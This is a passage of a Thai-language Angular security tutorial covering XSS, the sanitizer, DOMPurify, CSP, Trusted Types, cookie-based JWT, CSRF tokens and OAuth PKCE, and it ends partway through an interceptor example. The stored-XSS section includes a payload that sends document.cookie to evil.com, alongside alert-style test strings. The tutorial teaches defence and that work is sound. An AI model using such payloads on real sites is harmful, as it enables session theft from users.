Skip to content

บทที่ 13 — Security ใน Angular ​

← บทที่ 12: Accessibility | สารบัญ | บทที่ 14: Material + CDK →

🟡 หมายเหตุระดับ: บทนี้เริ่มจากพื้นฐาน (Section 1-3) แต่ครึ่งหลังแตะระดับ architect — มือใหม่ข้ามได้ในรอบแรก กลับมาอ่านตอนจะ deploy production หรือเตรียม security audit ศัพท์ในส่วน advanced: BFF = backend เล็กๆ ที่ตั้งระหว่าง browser กับ API หลัก; refresh-token = ตั๋วใช้ขอ access token ใหม่เมื่อหมดอายุ; CSP nonce = รหัสสุ่มต่อ request เพื่อให้ script ผ่าน CSP; Trusted Types = API browser บังคับให้ HTML/script ผ่าน policy ก่อน inject

⚠️ ทุกคนควรรู้พื้นฐาน — มือใหม่อ่าน Section 1-3 ก่อนพอใครควรอ่าน Section 1-3: ทุกคนที่ทำ Angular app — แค่ต้องรู้ว่า Angular sanitize XSS ให้แล้ว และอย่าใช้ [innerHTML] กับ user input ส่วน Advanced (CSP, BFF, OAuth, Trusted Types): เก็บไว้เมื่อ deploy production จริงและทีมเริ่มสน security audit

หลังจบบท คุณจะ:

  • เข้าใจ threat model ของ frontend — XSS (= inject script ผ่านข้อมูล user), CSRF (= ลวงให้ browser ส่ง request แทน user), clickjacking (= ครอบ iframe หลอกให้คลิก), supply chain (= แพ็กเกจที่ลงมีโค้ดอันตราย)
  • ใช้ Angular built-in protection (sanitizer = ระบบกัน XSS อัตโนมัติ, CSP = นโยบายโหลด script)
  • จัดการ authentication/authorization patterns (JWT, OAuth, refresh token)
  • ป้องกัน common attack ใน Angular app
  • Setup Content Security Policy (CSP) + Trusted Types
  • ทำ secure storage + audit dependency

ใช้เวลา 3-4 ชั่วโมง


1. Threat Model — รู้ศัตรู ​

ก่อนจะป้องกัน เราต้องรู้ก่อนว่า "ศัตรู" มีอะไรบ้าง — frontend ถูกโจมตีได้หลายทาง ตั้งแต่ฝังสคริปต์ (XSS), หลอกให้ส่งฟอร์ม (CSRF), ซ้อน iframe หลอกคลิก (clickjacking) ไปจนถึง npm package ที่แอบฝังมัลแวร์ ภาพรวมภัยคุกคามและ OWASP Top 10 ที่เกี่ยวข้องอยู่ด้านล่าง:

คิดว่าเว็บแอปคือบ้านที่มีประตูหลายบาน แต่ละภัยคุกคามเข้าบ้านคนละทาง:

  • XSS คือโจรปลอมเป็นแขก เดินเข้าบ้านแล้วแอบขโมยกุญแจ (cookie/token) ออกไป
  • CSRF คือโจรยืนอยู่นอกบ้านแต่หลอกให้เราเปิดประตูให้เอง (browser ส่ง request แทนโดยที่เราไม่รู้ตัว)
  • supply chain คือช่างซ่อมที่เราจ้างมาถูกต้อง แต่แอบฝังกล้องซ่อนไว้ในบ้านพร้อมกับการซ่อม

อ่านชื่อย่อในรายการด้านล่างแล้วให้นึกถึงภาพนี้ จะจำได้ง่ายขึ้นมาก:

text
🎯 หลัก:
- XSS (Cross-Site Scripting) — รัน JS แปลกในหน้าเรา
- CSRF (Cross-Site Request Forgery) — submit form จากเว็บอื่น
- Clickjacking — iframe ซ้อนปุ่มหลอก
- Supply chain — npm package แอบฝัง malware
- Auth bypass — JWT/cookie ถูกขโมย
- Data exposure — sensitive info ใน localStorage / URL
- DoS (frontend) — render bomb, infinite loop

📌 OWASP Top 10 (2021 — latest stable) ที่เกี่ยวกับ frontend
   (คัดมาเฉพาะข้อที่เกี่ยวข้องกับ frontend โดยตรง — ตัวเลขตรงกับ list จริงของ OWASP):
A01. Broken Access Control       — ผู้ใช้เข้าถึงข้อมูล/ฟังก์ชันที่ไม่ควรเข้าถึงได้ (เช่น user ทั่วไปเรียก API เฉพาะ admin ได้)
A02. Cryptographic Failures      — เข้ารหัสข้อมูลอ่อนไหวไม่ถูกต้องหรือไม่เข้ารหัสเลย (เช่น เก็บรหัสผ่านเป็น plain text)
A03. Injection (XSS)             — แอบยัดโค้ด/คำสั่งเข้าไปรันในระบบผ่านข้อมูล input (บทนี้เน้น XSS)
A07. Identification + Authentication Failures — ระบบยืนยันตัวตนอ่อนแอ (เช่น session ไม่หมดอายุ, password policy หลวม)
A08. Software/Data Integrity (supply chain) — พึ่งพา code/package จากภายนอกที่ตรวจสอบความถูกต้องไม่พอ
A10. SSRF (server-side แต่ก็เกี่ยว)  — server ถูกหลอกให้ยิง request ไปที่อื่นแทนผู้โจมตี (Server-Side Request Forgery)

2. XSS — Cross-Site Scripting ​

XSS คืออะไร ​

text
Attacker inject JS เข้าหน้าเว็บ → รันใน browser ของผู้ใช้
→ ขโมย cookie/token, modify DOM, redirect, keylog, ...

3 Types ​

text
1. Stored (Persistent)  — payload เก็บใน DB → ทุกคนที่เปิดโดน
2. Reflected            — payload ใน URL → click link แล้วโดน
3. DOM-based            — JS เอง process URL/input ไม่ปลอดภัย

Example — Stored XSS ​

html
<!-- User comment form (มี XSS) -->
<!-- หมายเหตุ: ตัวอย่างนี้เป็น pseudo-code แสดง concept — [(ngModel)] ต้องการ FormsModule ใน imports -->
<input [(ngModel)]="comment">
<button (click)="postComment()">Post</button>

<!-- Display -->
<div [innerHTML]="comment"></div>      <!-- ❌ DANGER -->

🔴 อย่าใช้ [innerHTML] กับ user input โดยตรง — Angular sanitizer ลบ event handler ส่วนใหญ่ได้ก็จริง แต่ยังเปิดช่องโจมตีบาง vector (ช่องทางโจมตี) เช่น <svg>, <iframe srcdoc>, mutation XSS (= XSS ที่เกิดจาก browser ปรับ HTML หลัง sanitize) ซึ่งเป็น edge case ระดับสูง — Angular v16+ จัดการ SVG ได้ดีขึ้นมาก แต่ถ้า "ต้อง" render HTML จากผู้ใช้จริงๆ ให้ผ่าน DOMPurify ก่อน (ดู section 3) เพื่อความปลอดภัยเพิ่มเติม — และอย่าใช้ bypassSecurityTrustHtml() กับค่าที่มาจาก user เด็ดขาด

Attacker post:

html
<img src=x onerror="fetch('https://evil.com/?c=' + document.cookie)">

→ ทุกคนที่เปิดหน้านี้ → cookie ถูกส่งไป evil.com


3. Angular Built-in Protection ​

ข่าวดีคือ Angular ป้องกัน XSS ให้เราอยู่แล้วโดยปริยาย — ทุกค่าที่ผูกผ่าน interpolation ({{ }}) หรือ property binding จะถูก "ทำให้ปลอดภัย" (escape/sanitize) อัตโนมัติ สคริปต์ที่ผู้ใช้ป้อนจึงถูกแสดงเป็นข้อความ ไม่ถูกรัน เว้นแต่เราจะไป bypass มันเอง:

text
✅ Default — Angular sanitize ALL bindings
   {{ value }}                    — escape HTML
   [property]="value"             — sanitize HTML / URL / style
   [style.color]="value"          — sanitize CSS
   [src]="value"                  — sanitize URL
typescript
// imports ถูกละไว้เพื่อความกระชับ
// import { Component } from '@angular/core';
@Component({
    template: `
        <p>{{ userInput }}</p>                          <!-- ✅ Safe (text) -->
        <div [innerHTML]="userHtml"></div>              <!-- ⚠️ Sanitized but careful -->
        <a [href]="userUrl">Link</a>                    <!-- ✅ Sanitized -->
    `
})
export class CommentComponent {
    userInput = '<script>alert("XSS")</script>';
    // Renders as: &lt;script&gt;alert("XSS")&lt;/script&gt;
    // → display as text — script ไม่รัน
    
    userHtml = '<img src=x onerror="alert(1)">';
    // Sanitizer ลบ onerror — keep <img src=x>
    
    userUrl = 'javascript:alert(1)';
    // → sanitized to "unsafe:javascript:alert(1)"
}

Security Context ​

text
HTML   — innerHTML, *Html
STYLE  — style binding
URL    — href, src
RESOURCE_URL — script src, iframe src (strictest)
SCRIPT — never (Angular doesn't allow)

⚠️ When You Need Raw HTML ​

typescript
import { Component, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
// inject() = วิธี Angular ขอใช้ service — อ่านรายละเอียดในบท 6 (Dependency Injection)

@Component({
    template: `<div [innerHTML]="trustedHtml"></div>`
})
export class SafeComponent {
    private sanitizer = inject(DomSanitizer);
    
    rawHtml = '<strong>Trusted markup from CMS</strong>';
    trustedHtml: SafeHtml = this.sanitizer.bypassSecurityTrustHtml(this.rawHtml);
}
text
⚠️ bypassSecurityTrust* = ทางลับ ประตูหลัง (escape hatch) ของ Angular
   ที่บอกว่า "ฉันรู้ตัวว่าทำอะไรอยู่" — ถ้าใช้ผิด = เปิดช่อง XSS ทันที
   - bypassSecurityTrustHtml         (= บอก Angular ว่า HTML นี้ปลอดภัย)
   - bypassSecurityTrustStyle        (= CSS นี้ปลอดภัย)
   - bypassSecurityTrustUrl          (= URL นี้ปลอดภัย)
   - bypassSecurityTrustResourceUrl  (= URL สำหรับโหลด resource (script/iframe) ปลอดภัย)
   - bypassSecurityTrustScript       (= JS นี้ปลอดภัย — แทบไม่ควรใช้)

ใช้เฉพาะเมื่อ:
1. แหล่งข้อมูลเชื่อถือได้ 100% (CMS ของคุณ, server-side rendering ของเราเอง)
2. Sanitize (ทำความสะอาด) ก่อนเก็บลง DB — เช่นใช้ DOMPurify ฝั่ง server
3. มี comment อธิบายชัดว่าทำไมต้อง bypass + ใครเป็นเจ้าของข้อมูล

DOMPurify (Server-side / Pre-process) ​

📖 DOMPurify คือ JavaScript library ภายนอก (ไม่ใช่ของ Angular) ที่กรอง HTML ได้เข้มกว่า built-in sanitizer ของ Angular — ติดตั้งแยกด้วย npm และใช้ฝั่ง client หรือ server ก็ได้ เหมาะสำหรับกรณีที่ต้อง render HTML ที่มาจากผู้ใช้จริงๆ

bash
npm install dompurify
npm install --save-dev @types/dompurify
typescript
import DOMPurify from 'dompurify';

@Injectable({ providedIn: 'root' })
export class SafeHtmlService {
    private sanitizer = inject(DomSanitizer);
    
    sanitize(dirty: string): SafeHtml {
        const clean = DOMPurify.sanitize(dirty, {
            ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'li'],
            ALLOWED_ATTR: ['href'],
            FORBID_TAGS: ['style', 'script'],
            FORBID_ATTR: ['onerror', 'onload', 'onclick']
        });
        return this.sanitizer.bypassSecurityTrustHtml(clean);
    }
}
html
<div [innerHTML]="safeHtml.sanitize(post.html)"></div>

→ DOMPurify ใช้ whitelist เข้มงวด — ปลอดภัยกว่า Angular sanitizer ค่าเริ่มต้น


🟢 --- จบส่วนพื้นฐานสำหรับมือใหม่ --- ถ้าอ่านมาถึงตรงนี้และเข้าใจแล้วว่า Angular sanitize ให้อัตโนมัติ + อย่าใช้ [innerHTML] กับ user input ตรงๆ ก็เพียงพอสำหรับตอนนี้ หยุดพักได้ ตั้งแต่ Section 4 เป็นต้นไปเป็นเนื้อหาระดับ intermediate-advanced (CSP, Trusted Types, OAuth, BFF ฯลฯ) กลับมาอ่านเมื่อใกล้ deploy production


4. CSP — Content Security Policy ​

Content Security Policy คือ "ไฟร์วอลล์ระดับเบราว์เซอร์" — เราบอกเบราว์เซอร์ผ่าน HTTP header ว่าอนุญาตให้โหลดสคริปต์/รูป/font จากแหล่งไหนได้บ้าง ทุกอย่างนอกรายการจะถูกบล็อก เป็นเกราะชั้นสำคัญที่ช่วยจำกัดความเสียหายแม้จะมี XSS หลุดเข้ามา

📌 สำคัญ: CSP ตั้งค่าที่ฝั่ง server (เช่น Nginx, Express) ไม่ใช่ใน Angular — server จะส่ง header นี้ไปพร้อม HTML ทุกครั้ง Nginx คือ web server software ยอดนิยมที่ทำหน้าที่เสิร์ฟไฟล์และตั้งค่า header ต่างๆ

text
CSP = ไฟร์วอลล์ระดับ browser — บอก browser ว่าอนุญาตโหลดอะไรจากไหน:
- script จากแหล่งที่เชื่อถือเท่านั้น
- inline script: ห้าม (เว้นแต่มี nonce/hash)
- iframe: เฉพาะที่ระบุไว้
- font/img/style: เฉพาะที่ระบุไว้

Setup CSP Header (Server) ​

CSP เหมือน รปภ. หน้าเว็บ — เราบอกเขาว่า "อนุญาตให้โหลด script จาก domain ไหนได้บ้าง" ถ้า script มาจาก domain ที่ไม่อยู่ในลิสต์ให้บล็อกทันที กฎพวกนี้เราพิมพ์ลงใน HTTP header (= บรรทัดข้อมูลที่ server แนบมาพร้อมทุก response โดยที่ผู้ใช้ไม่เห็น) ด้วยคำสั่งเรียกว่า directive แต่ละ directive ควบคุม "ประตู" คนละบาน เช่น script-src = กฎว่าโหลด JS ได้จากไหน, frame-ancestors = ใครฝัง iframe เราได้บ้าง, img-src = โหลดรูปจากที่ไหน ก่อนจะดู config จริง มาอ่านความหมายของแต่ละ directive ก่อน:

📖 อ่านบล็อกข้างล่างยังไง — CSP คือ header HTTP ที่บอก browser ว่า "อนุญาตให้โหลดอะไรจากไหน":

  • default-src 'self' = ค่า default = อนุญาตเฉพาะ resource จาก domain ของเราเอง
  • script-src 'nonce-...' = สคริปต์ต้องมี "รหัสผ่าน" (nonce — ตัวเลขสุ่มที่ server ออกให้ทุก request)
  • strict-dynamic = สคริปต์ที่ trust แล้ว โหลด script อื่นต่อได้ (chain)
  • frame-ancestors 'none' = ห้ามไม่ให้ใครเอาเราไปฝังใน <iframe> (ป้องกัน clickjacking)
  • img-src 'self' data: https: = รูปจากตัวเอง, data URI, หรือ HTTPS อื่นได้
nginx
Nginx (recommended — nonce + strict-dynamic):
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'nonce-RANDOM_PER_REQUEST' 'strict-dynamic';
    style-src 'self' 'nonce-RANDOM_PER_REQUEST';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    upgrade-insecure-requests;
" always;

⚠️ RANDOM_PER_REQUEST ใน snippet ด้านบนเป็น placeholder — ต้องแทนที่ด้วย nonce ที่ server gen ใหม่ทุก request (เช่น nginx_http_sub_filter_module, Express middleware ที่ตั้ง res.locals.nonce, หรือใช้ Angular SSR ที่ inject CSP_NONCE provider — ดูตัวอย่างด้านล่าง) ห้าม copy-paste literal string RANDOM_PER_REQUEST ลง production — CSP จะใช้ไม่ได้

🔴 อย่าเปิด domain ของ 3rd-party script ตรง ๆ ใน script-src: เช่น script-src 'self' https://www.googletagmanager.com — GTM โหลด script อื่นต่อ → bypass CSP ทันที (เป็น classic CSP bypass technique)

ทางที่ถูก: nonce + 'strict-dynamic' → script ที่มี nonce ถูก trust + script ที่มันโหลดต่อก็ trust ตาม chain (ไม่ต้อง whitelist domain) Angular SSR รองรับ nonce ผ่าน CSP_NONCE injection token (ดูตัวอย่างด้านล่าง) — ไม่เกี่ยวกับ inlineCriticalCss ซึ่งเป็นคนละ config (ใช้สำหรับ inline critical CSS ให้โหลดหน้าเร็วขึ้น)

⚠️ 'unsafe-inline' ใน style-src = ความเสี่ยง XSS ผ่าน CSS (เช่น expression() ใน IE, หรือ CSS injection ที่ดูดข้อมูลจาก attribute) — ปี 2026 ใช้ nonce/hash แทน

Express (if SSR) ​

bash
npm install helmet
typescript
import helmet from 'helmet';

app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],   // ⚠️ 'unsafe-inline' ควรแทนที่ด้วย nonce เมื่อ deploy จริง
        imgSrc: ["'self'", 'data:', 'https:'],
        connectSrc: ["'self'", 'https://api.example.com'],
        frameAncestors: ["'none'"]
    }
}));

Headers อื่นๆ ที่ควรตั้ง ​

text
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

Angular + CSP ​

text
Angular ไม่ต้องการ unsafe-inline สำหรับ JS (compile-time template)
✅ Angular 17+ ใช้ esbuild — JS ไม่ต้องการ unsafe-inline
⚠️ component styles อาจยังต้องการ nonce หรือ unsafe-inline ขึ้นกับ ViewEncapsulation และ build config
   → ทดสอบด้วย CSP report-only mode ก่อน enforce เสมอ

Strict CSP — ใช้ nonce/hash ​

html
<!-- Server inject nonce ต่อ request -->
<script nonce="abc123">...</script>

<!-- CSP header -->
script-src 'self' 'nonce-abc123';

ใน Angular SSR:

typescript
import { CSP_NONCE } from '@angular/core';

// generatedNonce = ค่าที่ server สร้างขึ้นใหม่ทุก request เช่น:
// const generatedNonce = require('crypto').randomBytes(16).toString('base64');
bootstrapApplication(AppComponent, {
    providers: [
        { provide: CSP_NONCE, useValue: generatedNonce }
    ]
});

5. Trusted Types (Modern Browser) ​

🟡 ระดับ Advanced — Section นี้เป็นระดับ architect ที่ใช้เมื่อต้องการ hardening ขั้นสูง มือใหม่ข้ามได้ในรอบแรก

Trusted Types เป็น API ของเบราว์เซอร์รุ่นใหม่ที่ปิดช่องโหว่ XSS ตรง "จุดที่อันตราย" เลย เช่น innerHTML จะรับได้เฉพาะค่าที่ผ่าน policy ที่เชื่อถือแล้วเท่านั้น โค้ดที่พยายามยัด string ดิบ ๆ เข้าไปจะถูกบล็อก — Angular 16+ รองรับให้พร้อมใช้:

นึกภาพ Trusted Types = ยามที่ยืนอยู่หน้าทุก innerHTML ของหน้าเว็บ — ก่อนใครจะ inject HTML เข้าไปได้ต้องแสดง "บัตรผ่าน" (TrustedHTML object) ที่ผ่านการตรวจจาก policy ก่อนเท่านั้น string ดิบๆ จากผู้ใช้หรือ attacker แทรกเข้าไม่ผ่าน แม้แต่บรรทัดเดียว

สำหรับมือใหม่ — ต้องทำแค่ 2 อย่าง:

  1. เพิ่ม require-trusted-types-for 'script' ใน CSP header (ดูตัวอย่าง Enable ด้านล่าง)
  2. ไม่ต้องเขียน TypeScript เพิ่ม Angular จัดการ policy ให้อัตโนมัติตั้งแต่ v16+

แค่นั้นก็เปิดใช้ Trusted Types ได้แล้ว ส่วนที่ต้องระวังคือ third-party library ที่แตะ DOM เองโดยตรง — ตัวพวกนั้นต้อง audit ก่อนว่ารองรับ Trusted Types ด้วยหรือเปล่า

text
Trusted Types = browser API — prevent XSS at injection sink
- innerHTML = trustedHTML only
- eval = trustedScript only
- script.src = trustedScriptURL only

Angular sinks ของตัวเอง (DOM sink) ผ่าน policy ของ Trusted Types ตั้งแต่ v16+
→ ใช้กับ `require-trusted-types-for 'script'` ได้
⚠️ แต่ต้อง audit (ตรวจ) 3rd-party library ที่แตะ DOM เองด้วย — ไม่ทุกตัวรองรับ

Enable ​

http
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types angular angular#unsafe-bypass;

→ ทุกการ inject ต้องผ่าน trusted types policy → บล็อกโค้ดจาก third-party

Angular Policy ​

typescript
// Angular auto-registers "angular" policy
// บอก Angular sanitizer = trusted

// bypassSecurityTrust* = uses "angular#unsafe-bypass" policy
// ⚠️ ถ้าไม่ allow ใน CSP → bypass จะ throw

⚠️ ถ้าแอปใช้ DOMPurify (หรือ library อื่น) ที่มี Trusted Types integration ของตัวเอง (สร้าง policy ชื่ออื่น เช่น dompurify) ต้องเพิ่มชื่อ policy นั้นเข้าไปใน CSP directive trusted-types ด้วย เช่น trusted-types angular angular#unsafe-bypass dompurify; ไม่งั้น Trusted Types จะบล็อกการ assign ค่าที่ DOMPurify ทำความสะอาดแล้ว


6. Authentication — JWT Pattern ​

📖 JWT (JSON Web Token — ข้อมูลยืนยันตัวตนที่เข้ารหัสแบบ Base64 + ลายเซ็นดิจิทัล) = ตั๋วยืนยันตัวตนที่ server ออกให้หลังล็อกอินสำเร็จ เป็น string ยาวๆ รูปแบบ xxxxx.yyyyy.zzzzz แอปส่งตั๋วนี้ไปทุกครั้งที่ขอข้อมูลเพื่อพิสูจน์ว่าเป็นผู้ใช้ที่ล็อกอินแล้ว

มาถึงเรื่องสำคัญ: จะเก็บ token ที่ยืนยันตัวตนผู้ใช้ไว้ที่ไหนให้ปลอดภัย คำถามแรกคือเลือกระหว่าง localStorage (เข้าถึงง่ายแต่ JS อ่านได้ = เสี่ยง XSS ขโมย) กับ HttpOnly cookie (JS แตะไม่ได้ = ปลอดภัยกว่า) มาเทียบข้อดีข้อเสียแล้วดูวิธีที่แนะนำ:

text
LocalStorage:
✅ Easy to access
✅ Survives page reload
❌ ACCESSIBLE TO JS — XSS = ขโมยได้
❌ Not sent automatically with request
❌ Manual add Authorization header

Cookie:
✅ HttpOnly = JS อ่าน cookie ไม่ได้ → **XSS-resistant**
   - ป้องกัน: attacker อ่าน token เพื่อขโมยออกไป (exfiltration = ดูดข้อมูลออก) ไม่ได้
   - ไม่ป้องกัน: ถ้า attacker inject script ได้ ยังเรียก `fetch('/api/transfer')` ผ่าน cookie ได้ (session = ช่วงเวลาที่ผู้ใช้ยังล็อกอินอยู่; session hijack — ยึดเซสชัน) เพราะ browser ส่ง cookie ให้อัตโนมัติ
✅ Secure = HTTPS only
✅ SameSite = CSRF protection
✅ Auto-sent with request
❌ CSRF risk (mitigate with SameSite + token)
❌ Size limit 4KB

→ Recommended: HttpOnly cookie + CSRF token
   ⚠️ ถ้าใช้ OAuth redirect flow (เช่น Google login) ให้ใช้ `SameSite=Lax` แทน `Strict`
      เพราะ `Strict` จะบล็อก cookie เมื่อ browser redirect กลับจาก auth provider

❌ Insecure — localStorage ​

typescript
// ❌ อันตราย — token ใน localStorage อ่านได้จาก JS ทุกตัว
import { Injectable, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { firstValueFrom } from 'rxjs';

interface Creds { email: string; password: string; }

@Injectable({ providedIn: 'root' })
export class AuthService {
    private http = inject(HttpClient);
    
    async login(creds: Creds) {
        const res = await firstValueFrom(this.http.post<{ token: string }>('/api/login', creds));
        localStorage.setItem('token', res.token);    // ⚠️ ถ้าโดน XSS = token ถูกขโมยได้ทันที
    }
    
    get token() {
        return localStorage.getItem('token');
    }
}
typescript
// Interceptor แนบ Authorization header ทุก request
// interceptor คือฟังก์ชันที่คั่นทุก HTTP request — ดูรายละเอียดในบท 8 (HTTP + interceptors)
// ⚠️ ตัวอย่างนี้สมมติว่าแอปรันฝั่ง browser เท่านั้น — ถ้าแอปใช้ SSR (Server-Side Rendering)
//    localStorage ไม่มีอยู่ฝั่ง server จะ throw ReferenceError ทันที ต้อง guard ด้วย isPlatformBrowser ก่อน
export const authInterceptor: HttpInterceptorFn = (req, next) => {
    const token = localStorage.getItem('token');
    if (token) {
        req = req.clone({ setHeaders: { Authorization: `Bearer ${token}` } });
    }
    return next(req);
};
typescript
// Backend sets cookie:
// Set-Cookie: token=jwt; HttpOnly; Secure; SameSite=Strict; Path=/
// (ใช้ SameSite=Lax แทน Strict ถ้าใช้ OAuth redirect flow)

// Frontend = no token in JS
import { Injectable, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { firstValueFrom } from 'rxjs';

interface Creds { email: string; password: string; }

@Injectable({ providedIn: 'root' })
export class AuthService {
    private http = inject(HttpClient);
    
    async login(creds: Creds) {
        // Browser auto-stores cookie
        return firstValueFrom(this.http.post<User>('/api/login', creds, {
            withCredentials: true       // ⭐ บอก browser ให้แนบ cookie ไปด้วยแม้ยิงไป domain อื่น
        }));
    }
    
    async getMe() {
        // Cookie auto-sent
        return firstValueFrom(this.http.get<User>('/api/me', {
            withCredentials: true
        }));
    }
}
typescript
// app.config.ts — set globally
provideHttpClient(
    withFetch(),                       // ใช้ Fetch API แทน XHR (recommended ใน Angular 18+)
    withInterceptors([
        // บอก browser ให้แนบ cookie ไปด้วยแม้ยิงไป domain อื่น
        (req, next) => next(req.clone({ withCredentials: true }))
    ])
)

⚠️ withCredentials: true แบบ "ใส่ทุก request" สะดวกแต่อันตรายถ้าแอปยิงไป API หลายโดเมน — cookie จะถูกส่งไปด้วยทุกครั้ง (รวม third-party CDN/analytics) ปลอดภัยกว่า: เปิดเฉพาะ request ไปยัง backend ของเรา (เช่นเช็ค req.url.startsWith('/api/') ใน interceptor) และ backend ต้องตั้ง Access-Control-Allow-Origin แบบ exact (ห้าม *) ถึงจะใช้กับ credentials ได้

📌 arrow function ข้างบนเป็นตัวอย่างสั้น ๆ ให้เห็น concept — ในโปรเจกต์จริงแนะนำเขียนเป็น named interceptor แยกไฟล์ เช่น credentialsInterceptor (ดูตัวอย่างเต็มใน section 22 ท้ายบท) เพื่อความสม่ำเสมอและ reuse ได้ง่าย

วิธีนี้ทำงานอย่างไร — backend ตั้ง cookie ชื่อ XSRF-TOKEN พร้อมค่าสุ่ม (เช่น abc123) ทันทีที่ผู้ใช้ล็อกอินสำเร็จ Angular อ่านค่านั้นแล้วแนบ header X-XSRF-TOKEN: abc123 ไปกับทุก POST/PUT/DELETE อัตโนมัติ หัวใจของการป้องกันอยู่ตรงนี้: evil.com ไม่สามารถอ่าน cookie ของ bank.com ได้ (browser บล็อก cross-origin cookie access) จึงไม่รู้ค่า abc123 และปลอม header ไม่ได้ เมื่อ server เห็นว่า header ตรงกับ cookie จึงรู้ว่า request นี้มาจากหน้าเว็บจริงของเรา ไม่ใช่จาก evil.com:

typescript
import { withXsrfConfiguration } from '@angular/common/http';

provideHttpClient(
    withXsrfConfiguration({
        cookieName: 'XSRF-TOKEN',
        headerName: 'X-XSRF-TOKEN'
    })
)

→ Angular auto-read cookie XSRF-TOKEN + add header X-XSRF-TOKEN to non-GET requests
→ Backend verify header matches cookie


7. OAuth 2.0 / OIDC Pattern ​

🟡 ระดับ Intermediate-Advanced — OAuth เป็นมาตรฐานการล็อกอินผ่านบัญชีของผู้ให้บริการอื่น (เช่น Google, Facebook) ถ้าแอปยังไม่ต้องการ social login ข้ามไปได้ก่อน

แทนที่จะจัดการรหัสผ่านเอง แอปสมัยใหม่มักให้ผู้ใช้ล็อกอินผ่านผู้ให้บริการกลาง (Google, Auth0 ฯลฯ) ด้วยมาตรฐาน OAuth 2.0 / OIDC สำหรับ SPA วิธีที่ปลอดภัยที่แนะนำคือ PKCE flow ซึ่งป้องกันการดักขโมย authorization code มาดูขั้นตอนและการตั้งค่า:

📖 ศัพท์: OIDC (OpenID Connect — ส่วนเสริมของ OAuth 2.0 ที่เพิ่มการยืนยันตัวตน), PKCE (Proof Key for Code Exchange — วิธีกัน authorization code ที่ออกให้ถูกขโมยกลางทาง), verifier+challenge = คู่ค่าสุ่มที่ client gen (ส่ง challenge ก่อน แล้วค่อยส่ง verifier ทีหลังเพื่อยืนยันว่าเป็นคนเดียวกัน), authorization code = ตั๋วชั่วคราวที่ auth server ออกให้แล้ว client แลกเป็น token อีกที

ให้นึกถึง PKCE เหมือนการฝากกระเป๋าที่ห้องฝากของสนามบิน แบ่งเป็น 3 ขั้นตอนสั้น ๆ:

  1. เราสร้างรหัสลับสุ่มในใจ (verifier เช่น s3cr3t-xyz) แล้วส่งแค่ลายนิ้วมือ (fingerprint) ของมัน — ซึ่งก็คือ SHA256 hash ที่เรียกว่า challenge — ให้ Google ไว้ก่อน
  2. Google ออกตั๋วรับกระเป๋าชั่วคราว (authorization code) ส่งกลับมา
  3. เราเอาตั๋วนั้น + รหัสลับตัวจริง (verifier) ไปยืนยันที่เคาน์เตอร์เพื่อแลกของจริง (access token) — ถ้ามีโจรขโมยตั๋วระหว่างทาง พวกเขาไม่มี verifier ตัวจริงก็ใช้ตั๋วไม่ได้

map กับ step ด้านล่าง: step 1 = สร้าง verifier+challenge, step 2-4 = ฝาก challenge และรับตั๋ว, step 5 = เอา verifier+ตั๋วไปแลก token จริง:

text
1. App generates random verifier + challenge (SHA256 hash ของ verifier)
2. Redirect to auth server with challenge
3. User logs in at auth server
4. Auth server redirects back with code
5. App exchanges code + verifier for token
6. Use token

Library — angular-oauth2-oidc ​

bash
npm install angular-oauth2-oidc
typescript
// app.config.ts
import { provideOAuthClient } from 'angular-oauth2-oidc';

providers: [
    provideOAuthClient()
]
typescript
// auth.service.ts
import { OAuthService } from 'angular-oauth2-oidc';

@Injectable({ providedIn: 'root' })
export class AuthService {
    private oauthService = inject(OAuthService);
    
    constructor() {
        this.oauthService.configure({
            issuer: 'https://auth.example.com',
            clientId: 'my-app',
            redirectUri: window.location.origin + '/callback',
            scope: 'openid profile email',
            responseType: 'code',
            useSilentRefresh: true,
            silentRefreshTimeout: 5000,
            timeoutFactor: 0.75
        });
        
        this.oauthService.loadDiscoveryDocumentAndTryLogin();
    }
    
    login() {
        this.oauthService.initLoginFlow();
    }
    
    logout() {
        this.oauthService.logOut();
    }
    
    get isLoggedIn() {
        return this.oauthService.hasValidAccessToken();
    }
    
    get user() {
        const claims = this.oauthService.getIdentityClaims();
        return claims as { sub: string; email: string; name: string };
    }
}

→ Library จัดการ PKCE, refresh, silent renew

⚠️ useSilentRefresh: true อาศัย hidden iframe + third-party cookies ซึ่งถูก block โดย modern browsers (Chrome, Safari ปี 2024+) ใน cross-origin context — ใน production ควรใช้ refresh token rotation แทน (ดูเอกสาร angular-oauth2-oidc เรื่อง code flow + PKCE + refresh token)

Refresh Token ​

📌 หมายเหตุ: pattern ด้านล่างเหมาะสำหรับ cookie-based auth (เพราะ browser ส่ง cookie ใหม่อัตโนมัติหลัง refresh) — ถ้าใช้ header-based JWT ต้องดึง token ใหม่จาก AuthService ก่อน clone request

401 คือ HTTP status code ที่ server ส่งกลับมาเมื่อ token หมดอายุ — interceptor ทำหน้าที่ดัก 401 นี้แล้วขอ token ใหม่โดยอัตโนมัติ เปรียบเหมือนพนักงานต้อนรับที่เห็นว่าบัตรแขกหมดอายุ วิ่งไปต่อบัตรให้เองทันทีโดยที่แขกยังนั่งรอโดยไม่รู้ตัวว่าเกิดอะไรขึ้น

typescript
// interceptor จัดการ 401 — รองรับ production: เรียง request ที่รอ refresh และแชร์ observable เดียวกัน
import { Observable, throwError } from 'rxjs';
import { catchError, shareReplay, switchMap, finalize } from 'rxjs/operators';
// ⚠️ โค้ดนี้ใช้ RxJS Observables ขั้นสูง (shareReplay/switchMap/finalize) — ถ้ายังไม่ผ่านบท RxJS มาก่อน
//    ให้อ่านแค่ concept "แชร์ observable เดียวกันกันไม่ให้ refresh ซ้ำ" จากคำอธิบายด้านล่าง โดยไม่ต้องเข้าใจ syntax ทุกบรรทัด แล้วค่อยกลับมาไล่โค้ดละเอียดทีหลัง
